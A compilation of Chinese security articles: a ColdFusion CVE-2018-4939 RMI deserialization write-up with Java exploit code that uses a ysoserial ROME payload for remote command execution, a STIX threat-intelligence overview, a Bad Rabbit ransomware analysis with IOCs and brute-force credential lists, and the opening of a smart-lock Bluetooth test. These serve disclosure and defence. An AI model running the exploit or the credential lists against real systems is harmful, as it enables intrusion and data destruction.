不幸的是，没有一个[ysoserial](https://github.com/frohoff/ysoserial) payload 对这个入口点起作用。
在我之前关于ColdFusion CVE-2017-11283和CVE-2017-11284的文章中，我谈到了如何修改ysoserial
payload以成功利用此入口点并使用Mozilla Rhino JavaScript库获得远程命令执行。
在这种情况下，技术和入口点保持不变，但我们的目标是与ColdFusion捆绑在一起的[ROME库](https://rometools.github.io/rome/)（请参阅“libs
/ rome-cf.jar” ）。
## 漏洞利用 - 简单的方法
以下是一个简单的RMI客户端程序，它从RMI注册表服务检索ColdFusion
DataServicesCFProxy对象，然后使用null参数远程调用count()方法：
package nb.barmie.demo;
import coldfusion.flex.rmi.DataServicesCFProxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIDemo {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, null, null);
}
}
count()方法的第二个参数是java.lang.Object数组，这意味着我们可以在该参数中提供任意对象，并且它们将在服务器上反序列化。
我们可以在运行时使用ysoserial来生成任意payload对象并将其传递给count()方法，但是ysoserial ROME
payload与ColdFusion所捆绑在一起的ROME版本不兼容。 如果我们尝试这个，服务器会报错：服务器端类与通过网络发送过去的序列化对象不兼容。
这是由于serialVersionUID字段不匹配，类似于我之前在讲述针对Mozilla Rhino的攻击所描述的那样。
在2018年4月更新之前，利用ColdFusion RMI服务的最简单方法是重建ysoserial。 而不是针对ROME
1.0（依赖Maven）构建ysoserial，而是从ColdFusion安装目录中的“libs / rome-cf.jar”构建它。
完成后，可以使用以下代码生成和传递payload：
package nb.barmie.exploit.standalone;
import coldfusion.flex.rmi.DataServicesCFProxy;
import ysoserial.payloads.ROME;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIExploit {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, new Object[] {
new ROME().getObject(args[2])
}, null);
}
}
使用以下参数运行漏洞利用：host，port，command。
## 漏洞利用 - BaRMIe方式！
在RMI安全性方面做了大量工作之后，我选择使用我的RMI枚举和攻击工具BaRMIe进行漏洞利用。 这是一个更复杂的利用方式，但也更强大。
我将在不久的将来发布这个版本的Exp，现在我将向那些对此感兴趣的人解释它是如何工作的！
### RMI背景
远程方法调用涉及两个网络服务和两个不同的网络连接。
第一个网络服务是RMI注册服务，通常位于TCP端口1099上，它本质上是一个目录服务，其中Java对象引用绑定到名称。
以下的4行代码连接到10.0.0.30:1099上的RMI注册表服务，并请求绑定到名称为“Foo”的对象的引用：
public class RMIList {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
SomeClass obj = (SomeClass)reg.lookup("Foo");
}
}
第二个网络服务用于与对象本身通信。 当对象绑定到RMI注册表中的给定名称时，主机和端口（可以在其中找到该对象）将被存储在注册表中。
当我们从RMI注册表检索对象引用时，RMI注册表服务返回的数据包括对象的网络服务的主机和端口。 以下的5行代码连接到RMI对象服务并调用某个方法
someMethod() ：
public class RMIList {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
SomeClass obj = (SomeClass)reg.lookup("Foo");
obj.someMethod("String Param");
}
}
## 中间人攻击
在我构建BaRMIe的过程中，我希望尽可能多地包含漏洞payload（POP小工具链），而不必与依赖项和多个版本的依赖项进行斗争。
我实现这一目标的方法是拥有硬编码的静态payload并在执行时生成动态部分（例如命令字符串和相应的长度字段）。
问题是，没有办法在RMI连接中原生地抽取任意字节。接收它们的服务器将反序列化这些字节。
为了实现这一点，我构建了一个代理框架，允许我在中间进行两个连接。它的工作原理如下：
1. 启动RMI注册表代理，该代理将连接转发到目标RMI注册表
2. 使用RMI注册表代理的主机和端口调用LocateRegistry.getRegistry() ， **而不是** RMI注册表服务的主机和端口
3. 通过RMI注册表代理调用Registry.lookup()（将请求转发给真正的RMI注册表服务）以检索远程对象引用
4. 当RMI注册表代理检测到返回的远程对象引用时：
A. 它启动一个RMI方法代理，以将连接转发到真正的RMI对象服务
B. 它修改远程对象引用以指向新的RMI方法代理而不是真正的RMI对象服务
5. 在远程对象引用上调用某个方法时，现在的连接走的是RMI方法代理
通过远程方法调用通过代理，我可以完全控制协议，我可以做一些Java虚拟机原本会阻止我操作的东西。
一个很好的例子是，一个远程方法本该接收java.lang.String类型的参数，不能提供任意对象参数。但是如果我们使用代理修改网络级别的出站远程方法调用，那么我们可以提供一个任意对象，服务器将反序列化它。
使用RMI方法代理，我们可以以正常方式调用远程方法，使用占位符参数而不是payload对象。
当方法代理检测到表示该占位符对象的字节时，它可以用表示任意反序列化的payload的字节流替换这些字节
## 修复漏洞
当我第一次在ColdFusion安装目录中发现文件“libs / rome-cf.jar”时，我做的第一件事是试图在BaRMIe中创建一个利用。具体作法是以ysoserial的ROME
payload为基础，使用RMI方法代理注入两个payload。
这两个都没有成功，但服务器的响应表明本地类是不兼容的，并给了我服务器端类的serialVersionUID。
通过多次修改我的payload以使其中的serialVersionUID值与服务器上的值相匹配，我再次实现了对ColdFusion的远程命令执行。
## Bonus：攻击“内部”服务
对比我上面讲述的简单漏洞利用方式，下面的所有这些代理可能看起来很费劲，但实际上支持功能已经存在于BaRMIe中，因此开发此漏洞的Exp只需要半个小时。
在Java虚拟机限制之外使用控件还有一个额外的好处，远不止我上文涉及的，这点绝对值得再多说两句。 很多“内部” RMI服务实际上并不是内部的。
你可以将对象绑定到RMI注册表，并且可以将它们绑定到例如127.0.0.1或10.0.0.30甚至host.yourbusiness.local。
如果外部攻击者使用上面提到的简单漏洞利用方法，对任何这些对象的引用进行检索，结果是他们将无法攻击RMI服务，因为他们无法访问这些内部地址。
但是，默认情况下，RMI对象服务绑定到所有网络接口。
假设目标的外部地址是8.8.8.9，RMI注册表返回一个指向目标内部地址的对象引用，10.8.8.9：30001。
默认情况下，可以通过连接到外部地址8.8.8.9:30001上的同一端口来访问同一对象。
通过代理RMI注册表连接，我们可以检测到这一点并自动修改RMI连接，以启用对内部绑定的对象的攻击。
## 参考
我以前的ColdFusion漏洞的详细信息（ <https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/> ）
Adobe安全更新APSB18-14（
<https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html> ）
攻击Java反序列化（ <https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/> ）
ysoserial Java反序列化payload生成器（ <https://github.com/frohoff/ysoserial> ）
ROME库（ <https://rometools.github.io/rome/> ）
BaRMIe RMI枚举和攻击工具（ <https://github.com/NickstaDB/BaRMIe> ）
标签：ColdFusion ， CVE-2018-4939 ， 反序列化 ， Java ， RCE ， 远程方法调用 ， RMI ， 序列化 | 社区文章 |
# 实例再读 SITX（Structured Threat Information eXpression）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**一、背景**
针对众多复杂的高级可持续性威胁的新威胁场景（除国家安全层面，诸如网络犯罪、经济威胁、工业间谍、黑客行为和恐怖主义），我们可以从“杀伤链”中攻击生命周期中参考有效信息，促进形成防御策略。
面对
APT，依据传统思路在安全事件已经发生后进行应急响应的成本将是巨大的。而更好的解决思路则在于如何利用威胁情报驱动安全防御策略，最好是在攻击者开始进行漏洞利用之前就可以对其进行发现及遏制（即“Left
of Hack”阶段）来解决滞后性的威胁检测及威胁响应。
因此，一切有关”敌人能力“、”敌人行为“、”敌人目标“的传统情报在网络领域同等重要。
类似的特征包括：
l ”发生或可能发生什么样的攻击行为“
l ”如何检测并发现这样的行为“
l ”在现在及未来的一段时间内，敌人会利用什么策略、技术以及实施过程（TTP）“
l ”敌人的攻击目标可能存在的脆弱性、不规范配置及弱点“
l
”敌人曾经实施过哪些攻击行为“等等通过信息共享，每个参与伙伴都可以获得有关威胁环境的完整理解，这里不仅仅包括概要，还包含了细颗粒度的解决方案（例如我可以通过哪些特征找到攻击者）。例如，A
企业今天遭遇到的威胁很可能就是 B 企业明天可能会遭遇的，这样如果 A 企业分享了其自身总结的有关该种类型威胁的细节指示作为网络威胁指示，那么 B
企业就能够将其作为参考，从而在“Left of hack”阶段发现并定位威胁，来前置威胁响应，即在 Weaponization 之前的阶段进行威胁分析，在
Delivery 阶段进行威胁检测，在攻击者未完成 Exploitation 的阶段进行针对性响应。
与此同时，《 Intelligence-Driven Computer Network Defense Informed by Analysis of
Adversary Campaigns and Intrusion Kill Chains》一文结合攻击样本对杀伤链中的七个环节进行了实例分析，见下图。
并对 Kill Chain 各阶段做了详细解释：
∣Reconnaissance 侦查踩点：勘探、搜索并确认目标，诸如爬虫搜索收集的一些会议文章、邮件列表、社会交际关系等特殊情报信息。
∣Weaponization 制作攻击工具：将 backdoor、Trojan、payload 等不同形式的攻击载荷捆绑在诸如 PDF、Office
等客户端程序上。
∣Delivery 传输攻击工具：通过如今最流行的三种方式，如邮件附件、门户网站、USB 可移动设备，来传输攻击工具。
∣Exploitation 目标弱点利用：当工具被传送至受害者主机环境后，则利用目标应用或主机的脆弱性，完成弱点利用过程。
∣Installation 寄生宿主：无论木马或后门形式的远控程序被安装在宿主主机，攻击者就可以在目标的内网环境中进行漫游，从而进一步渗透。
∣Command and Control (C2) 完成控制：受害主机反弹外连攻击机，从而建立一个 C2 通道，使得攻击者自由进出目标内网网络环境。
∣Action of Objectives
远程操控：在完成上述六个阶段后，攻击者才会深入到内网环境开始进行深入渗透。包括信息收集、加密、提取从而获取数据；破坏数据的完整性、可用性。达到完全控制宿主网络环境，更甚通过该网络做跳板从而深入渗透其它环境。
情报的传播速度与广泛程度对于复杂性威胁环境来说至关重要，故而建立一个自动化、帮助人为分析或执行的快速防御机制就是首要步骤。同时，自动化机制则需要来自于各个不同体系的产品、系统、结构等优质信息以及大量防御特征辅助训练和建设。
**二、范例**
STIX 目标为提供一系列包含网络威胁管理的核心用例，如下图所示。
“中央研究院資訊服務處”上在《淺談以 STIX 實現網路威脅情報標準化框架》一文中对该用例的解释通俗易懂，如下。
而 STIX 标准中例举的以某次钓鱼事件结合起来更有助理解，原文所述大概如下。
用例 1：分析网络威胁
一个潜在的网络钓鱼事件，网络分析师可以分析可疑的钓鱼邮件、所有相关的附件以及是否存在恶意链接、邮件是否被截获转发，同时评估钓鱼攻击的主要受害群体并进行分析记录。
用例 2：网络威胁特征分类
在确定钓鱼攻击后，网络分析师将从钓鱼邮件中获取一系列可视化的相关特征（诸如伪造地址、真实地址、项目信息、钓鱼
URL、附件类型、特殊形式附件等等），识别此次钓鱼攻击中涉及到的相关
TTPs（Tactics、Techniques、Procedures，策略、技术、实施过程），演示杀伤链中的相关攻击过程，分配调节规则库的信任度阈值，确定并编制适宜的应对指南，为规则库中添加相对应的威胁特征，指导分配应对处理，同时记录过程以作日后参考。
用例 3：管理网络威胁应急响应工程
在通过定义好的规则指标发现并确认了钓鱼攻击后，网络决策人员和操作人员都会清晰的了解到钓鱼攻击在整个情景中是怎样发生的，包括恶意软件的安装过程和执行过程，并落实好相应的预警和检测策略，进而有助于评估或定位事件的影响和损失。
l （用例 3.1）网络威胁预警
在通过定义好的规则指标发现并确认了钓鱼攻击后，决策者会根据钓鱼攻击的规则或指标库的参考，综合评估提出的应对措施，相应的成本及风险，来辅助决策是否对此次提议进行采纳。如若采纳，操作人员再进行落实实施。
l （用例 3.2）网络威胁检测
在通过定义好的规则指标发现并确认了钓鱼攻击后，操作人员可能又从攻击实例中获取一些新型匹配模式，从而再次运用到实际操作环境中去检测新的钓鱼攻击。
l
（用例 3.3）事件响应
在确定钓鱼攻击事件后，操作人员会调查取证此次钓鱼攻击是否已成功进行并在目标环境中已造成什么样的损失（诸如恶意软件是刚刚安装还是已经跑起来一段时间了），以及损失的详细情况（哪些信息系统遭受感染，哪些数据遭受泄露）。一旦获悉事件现状，操作人员就可以实施适宜的缓解和补救措施（恢复系统还是进行隔离）。
用例 4：威胁情报共享
在通过定义好的规则指标发现并确认了钓鱼攻击后，可以根据决策者提前定义好的策略方针，手动或自动选择该项情报可以分享给哪些可信的伙伴或社区组织，使得他们能够很好的利用情报信息。
**三、结构**
STIX 架构图包含了诸多核心网络威胁概念，它们具有相互独立且可复用的结构体系及特征， 并相互作用。
STIX 架构
l Observables 状态表象
Observables 元素的作用：用来描述有哪些监测的目标与其所处的即时状态。
它是 STIX 中的基础元素，对信息系统或网络环境进行实时监控，用来描述目标所处状
态。它包含文件信息（文件名、Hash、文件大小等等）、注册表键值、正在运行的服务项、
HTTP 请求等等。STIX 用 CybOX 作代表语言。
如下图所示，在“fireeye-pivy-observables.XML”一例中。
fireeye-pivy-observables.XML
“Observables”对 pivy 样本中如下属性进行描述
① 主题 Title
样本：XXX
② 对象 Object
文件对象：哈希 Hash
哈希类型：MD5
哈希值：XXX
③ 关联对象 Related-Objects
关联关系：Connected_To | Created | Characterized by | etc.
关联事件：idref 指向
l
Indicator 情报指标
Indicator 元素的作用：描述 Observable 状态表象下的关联威胁指标，形如一个情报索
引，映射并定位到多个关联的情报属性。
Indicator
它会结合实际情景或上下文关系，来传递一些的特殊 Observables 状态信息，用来表示
网络安全环境中的一些工具或敏感行为。内部包含的一个或多个 Observables 状态信息可能
都映射到相关的 TTP 及另外一些元数据中，比如操作的限制、Windows 的有效时间窗、可能
产生的影响、指标来源、指标内容、响应建议等等。STIX 用 IndEX 做代表语言。
如下图所示，在“fireeye-pivy-Indicator.XML”一例中。 “Indicator”对 pivy 样本中如下
属性进行描述
① 主题 Title
样本：XXX
② 类型 Type
Malware Artifacts | Domain Watchlist | IP Watchlist | etc.
③ Observable 指标 Indicator:Observable
Observable idref 指向
④ TTP 指标 Indicator:TTP
TTP idref 指向
⑤ COA 指标 Indicator:Suggested_COAs
Course Of Action idref 指向
fireeye-pivy-Indicator.XML
与此同时，Indicator 指标是情报模型中的最基本元素，《Intelligence-Driven Computer
Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill
Chains》一文中
提到，Indicators 指标可以客观地描述出一次入侵过程，它被细分为三种类型：
原子级指标：入侵过程中颗粒度最细的指标，如 IP 地址、Email 地址、脆弱性识别等。
计算级指标：来源于某些数据和事件分析过程中的指标，如恶意 Hash 值、正则表达式
等。
行为级指标：来源于对原子级指标和计算级指标的整合，如“用[正则]匹配出入侵者在
[某些时段]针对[某些 IP]所使用的具体后门程序，然后哈希得出 MD5 值”作为行为级指标。
而上述三者在情报的完整生命周期的不同阶段中转变形态，如下图所示。
l Incident 事件描述
Incident 元素的作用：展示已发生过的该类威胁的事件全貌，以作参考。
Incident 是在事件应急响应的过程中，发现或确认的，对组织产生影响织的 Indicators(威胁指
标)离散型实例。Incident 由诸如事故发生时间、影响范围、关联指标、TTP 利用、意图、影
响评估、响应要求、响应措施、事故信息源、行动日志等等。如下图的 Data Model 所示，以
Poison lvy 的样本为例展示了 Incident 和 TTP 之间的关系。
Relationship between the Incident Component and TTP Component
鉴于当前标准的特殊局限性，STIX 利用社区情报或最佳实践定义或代表最新的 STIX-
Incident 事件结构。
l TTP ( Tactics、Techniques、Procedures ) 威胁情景再现（包括 策略、技术、过程）
TTPs 元素的作用：用来描述攻击者或敌人的威胁行为或威胁情景。
Tactics、Techniques、Procedures
TTPs 原本为军事范围用词，用来描述敌人以及敌人不同层面的细节信息。该元素在
网络威胁中扮演核心角色，并与 Indicators, Incidents, Campaigns, ThreatActors 密切关联，
同时描述如何利用 TTPs 元素来获取 ExploitTargets。
TTPs 将会对攻击者的细节行为进行描述，包括(攻击特征、恶意软件、漏洞等)的展
示、(工具、基础设施等)资源的利用、目标资产的信息、关联目标的信息、攻击目的及
意图、关联杀伤链、TTP 信息来源等。
鉴于当前标准的特殊局限性，STIX 利用社区情报或最佳实践定义或代表最新的 STIX-
TTPs 事件结构。如 CAPEC 可定义和描述 TTP 的攻击特征(attack pattern)、MAEC 可用来
定义 TTP 的恶意软件特征(Malware)、CybOX 可用来定义 TTP 的工具及基础设施特征。
如下图所示，在“Mandiant_APT1_Report.XML”一例中。Mandiant_APT1_Report 样本中
对 TTPs 如下属性进行描述
① 主题 ttp : Title
∣样本：XXX
② 行为描述 ttp : Behavior
恶意软件 ttp : Malware
∣类型 Type： Backdoor | Relay | etc.
∣名称 Name
∣描述 Description
攻击特征 ttp : Attack_Pattern
∣描述 Description
③ 资源描述 ttp : Resources
基础设施 ttp : Infrastructure
∣类型 Type：Hop Point Accessors | FQDNs | IP Blocks | etc.
∣特征描述 Observable_Characterization：Address_Object:Address_Value | etc.
④ 杀伤链 ttp : Kill_Chain_Phases
kill_chain_id 指向
Mandiant_APT1_Report.XML
同时，以 Malware C2 Channel 为例，数据模型如下图所示。
Data Model
l Campaign 攻击动机
Campaign 元素的作用：用来描述攻击者的犯案动机，即为什么进行攻击。
Campaign
Campaign 的结构中包含攻击者的动机、相关 TTP 的利用、相关事件描述、行为描述、
其它关联的 Campaign、与 Campaign 有关的所有动作描述、Campaign 信息来源等等。
l ThreatActor 威胁源
ThreatActor 元素的作用：用来描述攻击链中所攻击者或敌人。
ThreatActor
ThreatActor 的结构中包含了攻击发起者的身份、攻击意图、攻击历史、TTP 历史、其它
关联的 ThreatActors、操作限制、与 ThreatActor 有关的所有动作描述、ThreatActor 信息来源
等等。
如下图所示，在“Mandiant_APT1_Report.XML”一例中。Mandiant_APT1_Report 样本中
对 TTPs 如下属性进行描述
① 身份信息 ThreatActor : Identities
∣身份信息 Related_Identities：XXX
∣描述 Specification： OrganisationName; Address:Country; RelationShip; Lauguages;
etc.
∣角色 Role：Nation_State | Military | etc.
② TTP 映射 ThreatActor: Observed_TTPs
∣ TTP idref 指向
③ 关联威胁源 ThreatActor : Associated_Actors
关联威胁源 ThreatActor : Associated_Actors
∣确认情况 Confidence：Confirmed | Possible
∣关系描述 RelationShip：Asserted Alias | Member
∣威胁源 Threat_Actor：Threat_Actor idref 指向
Mandiant_APT1_Report.XML
l ExploitTarget 目标弱点利用
ExploitTarget 元素的作用：用来描述可以被 TTP 利用的目标软件、系统、配置等存在的脆弱性或漏洞。
ExploitTarget
ExploitTarget 的结构中包含脆弱性的特征描述、漏洞的特征描述、配置问题的特征描述、
潜在的、目标弱点的信息来源以及如何应对等等。
l Course of Action 应对措施
Course of Action 元素的作用：用来描述如何针对不同威胁所采取的详细响应措施及防范
办法。
Course of Action
Course of Action 的结构中包含威胁管理中的相关内容（如目标弱点的补救措施、事件的响应等）、COA 类型、COA 描述、COA 对象、COA
典型结构（IPS 规则、自动化匹配或推荐）、COA 影响范围、COA 预估效果等等。
《 Intelligence-Driven Computer Network Defense Informed by Analysis of
Adversary Campaigns and Intrusion Kill Chains》一文针对 Course of Action
矩阵分析，从检测、防范、终端、降低、欺骗、摧毁几个不同的反馈程度，对 Kill Chain 杀伤链生命周期各阶段的 Course of Action
做了实例解释，不同阶段投入产品不同，对 Kill Chain 产生的作用不同： | 社区文章 |
# 坏兔子勒索病毒事件基本分析报告（27日更新：永恒浪漫漏洞使用技术信息）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 事件描述**
2017年10月24日，360CERT监测到有一起名为 **“坏兔子”（the Bad Rabbit）**
的勒索病毒正在东欧和俄罗斯地区传播，据悉，目前影响了俄罗斯部分媒体组织，乌克兰的部分业务，包括基辅的公共交通系统和国家敖德萨机场，此外还影响了保加利亚和土耳其。
“坏兔子”主要是通过 **伪装flash安装程序让用户下载运行** 和 **暴力枚举SMB服务帐号密码** 的形式进行传播，
**使用“永恒浪漫”漏洞进行传播** ，感染形式上 **和此前的NotPetya勒索病毒相似**
，会主动加密受害者的主引导记录(MBR)。“坏兔子”在勒索赎金上有所变化，初始赎金为0.05 比特币（约280美元），随时间的推移会进一步增加赎金。
根据监测，目前中国地区基本不受“坏兔子”勒索病毒影响。
本文是360CERT对“坏兔子”事件的初步分析。
**0x01 事件影响面**
**影响面**
经过360CERT分析，“坏兔子” 事件 属于勒索病毒行为，需要重点关注其传播途径和危害：
• 主要通过 **入侵某合法新闻媒体网站** ，该媒体在乌克兰，土耳其，保加利亚，俄罗斯均有分网站。在受害者访问时会
**被引导安装一个伪装的flash安装程序** （文件名为 **install_flash_player. exe**
），用户一旦点击安装后就会被植入“坏兔子”勒索病毒。
• “坏兔子”样本主要通过 **提取主机NTLM认证信息** 和 **硬编码部分用户名密码暴力破解NTLM登录凭据和“永恒浪漫”漏洞**
的方式来进一步感染可以触及的主机。
• “坏兔子”会试图感染目标主机上的以下类型文件和主引导分区，赎金会随着时间的推移而增长。
综合判定“坏兔子”勒索病毒通过“水坑”方式进行较大规模传播，且产生的危害严重，属于 **较大网络安全事件** 。
监测到IP请求态势和感染分布（图片来源：见参考）
注:以上监测数据不一定完整，仅供参考。数据显示感染趋势并没有特别剧烈，持续时间较短。
**0x02部分技术信息**
“坏兔子”勒索病毒的整体行为 **技术分析上并没有太多的技术创新** ，以下是相关的部分技术信息。
**传播信息**
“坏兔子”勒索病毒通过链接 **hxxp://1dnscontrol[.]com/flash_install.php**
链接进行传播，该域名下的可疑连接如下：
**整体行为**
“坏兔子”勒索病毒需要受害者手动启动下载名为 **install_flash_player.exe** 的可行性文件，该文件 **需要提升的权限才能运行**
, Windows UAC会提示这个动作，如果受害者还是同意了，病毒就会按照预期运行。
“坏兔子”勒索病毒主要包括如下流程：
**“install_flash_player.exe”会下载名为 infpub.dat 的DLL恶意载体。**
**infpub.dat会夹带和释放传播模块和文件加密模块** 。
合法的DiskCryptor加密模块，discpci.exe，包括32和64位。
2个疑似mimikatz模块。
生成IP信息，暴力破解NTLM登陆凭证，实现进一步感染。
该文件会被保存到 **C[:]Windowsinfpub.dat** 路径中。
Rundll32.exe 加载infpub.dat文件。
增加计划任务“rhaegal”启动discpci.exe实现磁盘加密。
增加计划任务“drogon”重启系统，并显示被勒索界面。
在暴力破解完成后，会试图 **利用“永恒浪漫”漏洞** 实现进一步感染。
创建感染线程，尝试对外感染。
重启前会主动删除部分日志信息。
具体流程如下图所示：
“坏兔子”勒索病毒在行为方面并没有太多的创新，具体的程序执行链可以直接通过360核心安全团队的沙箱平台分析出来：
其中，如上文所述。infpub.dat有5个资源文件，
资源文件1/2是类似于mimikatz的64位/32位版本；
资源文件7/8是diskcryptor中的64位/32位驱动文件，具有数字签名；
资源9是主要用来加密的程序：
相关落地到磁盘的样本如下：
**“永恒浪漫”漏洞相关细节**
BadRabbit疑似在暴力破解NTLM之后，还试图利用了“永恒浪漫”EternalRomance漏洞传播。
****
与之前NotPetya使用TheShadowBrokers中的shellcode不同，BadRabbit中的利用疑似根据github上公布的python漏洞利用脚本修改而来：
<https://github.com/worawit/MS17-010/blob/master/zzz_exploit.py>
程序的数据段中的部分内容经过按位取反后和python脚本中定义的结构体相同。
同样都解析SMB响应中包含的泄漏出的Frag Pool结构：
同样都在尝试修改另一个Transaction的数据之后检查NT status code：
使用不同的MultiplexID值发送nt_trans_secondary，类似于python脚本中的write_data()函数：
**相关信息**
Rundll32.exe启动infpub.dat动态库
公钥信息
提权相关
感染目标IP段生成(依次获取已建立TCP连接的IP，本地ARP缓存的IP和局域网内的服务器IP地址)
NTLM暴破的用户/密码列表
尝试通过IPC匿名管道加密
感染成功后的logo
**Indicators of Compromise (IOCs)**
**文件哈希**
fbbdc39af1139aebba4da004475e8839 – 木马释放器（最初被释放的样本）
1d724f95c61f1055f0d02c2154bbccd3 – infpub.dat – 主要的DLL
b4e6d97dafd9224ed9a547d52c26ce02 – cscc.dat – 用于磁盘加密的合法驱动
b14d8faf7f0cbcfad051cefe5f39645f – dispci.exe – 安装bootlocker，与驱动通信
**域名**
1dnscontrol[.]com
caforssztxqzf2nm[.]onion
**IP地址**
185.149.120[.]3
**疑似受影响网站**
Argumentiru[.]com
Fontanka[.]ru
Adblibri[.]ro
Spbvoditel[.]ru
Grupovo[.]bg
www.sinematurk[.]com
**加密的目标文件后缀**
“.3ds.7z.accdb.ai.asm.asp.aspx.avhd.back.bak.bmp.brw.c.cab.cc.cer.cfg.conf.cpp.crt.cs.ctl.cxx.dbf.der.dib.disk.d”
“jvu.doc.docx.dwg.eml.fdb.gz.h.hdd.hpp.hxx.iso.java.jfif.jpe.jpeg.jpg.js.kdbx.key.mail.mdb.msg.nrg.odc.odf.odg.”
“odi.odm.odp.ods.odt.ora.ost.ova.ovf.p12.p7b.p7c.pdf.pem.pfx.php.pmf.png.ppt.pptx.ps1.pst.pvi.py.pyc.pyw.qcow.q”
“cow2.rar.rb.rtf.scm.sln.sql.tar.tib.tif.tiff.vb.vbox.vbs.vcb.vdi.vfd.vhd.vhdx.vmc.vmdk.vmsd.vmtm.vmx.vsdx.vsv.”
“work.xls.xlsx.xml.xvd.zip.”
**base64编码后的公钥信息**
“MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5clDuVFr5sQxZ+feQlVvZcEK0k4uCSF5SkOkF9A3tR6O/xAt89/PV”
“howvu2TfBTRsnBs83hcFH8hjG2V5F5DxXFoSxpTqVsR4lOm5KB2S8ap4TinG/GN/SVNBFwllpRhV/vRWNmKgKIdROvkHxyAL”
“uJyUuCZlIoaJ5tB0YkATEHEyRsLcntZYsdwH1P+NmXiNg2MH5lZ9bEOk7YTMfwVKNqtHaX0LJOyAkx4NR0DPOFLDQONW9OOh”
“ZSkRx3V7PC3Q29HHhyiKVCPJsOW1l1mNtwL7KX+7kfNe0CefByEWfSBt1tbkvjdeP2xBnPjb3GE1GA/oGcGjrXc6wV8WKsfYQIDAQAB”
**硬编码的爆破帐号/密码**
**帐号:**
Administrator, Admin, Guest, User, User1, user-1, Test, root, buh, boss,
ftprdp,rdpuser,rdpadmin,manager,support,work,other
user,operator,backup,asus,ftpuser,ftpadmin,nas,nasuser,nasadmin,superuser,netguest,alex
**密码**
Administrator, administrator, Guest, guest, User, user, Admin, adminTest, test
root, 123, 1234, 12345, 123456, 1234567, 12345678, 123456789, 1234567890,
Administrator123, administrator123, Guest123, guest123, User123, user123,
Admin123, admin123Test123, test123, password, 111111, 55555, 77777, 777, qwe,
qwe123, qwe321, qwer, qwert, qwerty, qwerty123, zxc, zxc123, zxc321, zxcv,
uiop, 123321, 321, love, secret, sex, god
****
**0x03处理建议**
1\. 建议用户默认开启防火墙 **禁用Windows客户端139, 445端口访问** ，如若需要开启端口建议 **定期更新微软补丁** 。
2\. 下载360安全卫士，更新“永恒浪漫”等永恒系列漏洞。
3\. 该类勒索病毒360安全卫士在该病毒爆发之前已能拦截，建议下载并安装360安全卫士进行有效防御。
**0x04 时间线**
2017-10-24 事件被披露
2017-10-25 360CERT完成了基本分析报告
2017-10-27 报告 增加“永恒浪漫”漏洞使用技术信息
**0x05 参考**
1\. <http://blog.talosintelligence.com/2017/10/bad-rabbit.html#more>
2\.
[https://www.forbes.com/forbes/welcome/?toURL=https://www.forbes.com/sites/thomasbrewster/2017/10/24/bad-rabbit-ransomware-using-nsa-exploit-in-russia/&refURL=https://t.co/zIjBLXa1BI&referrer=https://t.co/zIjBLXa1BI](https://www.forbes.com/forbes/welcome/?toURL=https://www.forbes.com/sites/thomasbrewster/2017/10/24/bad-rabbit-ransomware-using-nsa-exploit-in-russia/&refURL=https://t.co/zIjBLXa1BI&referrer=https://t.co/zIjBLXa1BI)
3\. <https://securelist.com/bad-rabbit-ransomware/82851/>
4\. <https://securingtomorrow.mcafee.com/mcafee-labs/badrabbit-ransomware-burrows-russia-ukraine/>
5\. <https://www.forbes.com/sites/thomasbrewster/2017/10/24/bad-rabbit-ransomware-using-nsa-exploit-in-russia/#8697ad455368>
6\. <https://www.virustotal.com/en/domain/1dnscontrol.com/information/>
7\. <https://github.com/worawit/MS17-010/blob/master/zzz_exploit.py> | 社区文章 |
**作者：Yimi Hu & Light @ PwnMonkeyLabs
原文链接：<https://mp.weixin.qq.com/s/8t8s9UOVeVht9yqkVnaG0g>**
## 1.简介
我们在前面两篇文章中简单介绍了BLE协议栈，并对一款智能灯泡进行了分析。本篇中，我们选择Yale品牌的一款智能门锁进行安全测试，一起来研究一下这款锁是否存在安全问题。
我们测试的智能门锁如图1.1所示，这款门锁有一个可拆卸的蓝牙模块，该模块配合Yale厂商提供的一款名为Yale Bluetooth
Key的app，可以实现蓝牙开锁功能。
图1.1 智能门锁
首先我们需要介绍一下这款智能门锁的使用方式。和上一篇的智能灯泡类似，正常情况下，使用门锁前需要先在手机app中绑定门锁，如图1-2所示
图1-2 绑定门锁
绑定之后，如果门锁在手机的蓝牙通信范围内，app就会自动向门锁发起BLE连接，连接成功后，即可点击开门按钮打开门锁，如图1-3所示。
图1-3 连接及解锁
## 2.分析过程
### **2.1 App初步分析**
既然智能门锁也可以由app控制，那么我们参考上一篇的研究思路，首先查看app日志，尝试获取BLE通信的内容。然而当我们用Android
Killer查看日志时，发现Yale Bluetooth
Key这款app没有输出任何日志。通过对APK进行简单的逆向分析，我们找到了关于输出日志的部分代码，如图2-1所示：
图2-1 App Log代码
ILog类负责输出日志，但是这个类中所有的Log函数均为空，要解决这个问题有两个方法：一是修改app的smali代码并重新打包；二是用Hook的方式直接打印这些Log函数的参数。本篇我们采用了第一种方法，第二种方法将后续文章中介绍。
可以使用Android
Killer完成修改smali代码并重打包等工作。将app反编译之后，找到ILog.smali，在需要修改代码的地方点击鼠标右键即可插入代码，如图2-2所示，这里我们在插入Log代码的同时，也在AndroidManifest文件里添加了android:debuggable标签，在《耶鲁智能门锁的简单测试(下)》会提到它的用处。
图2-2 修改app代码
### **2.2 通信数据分析**
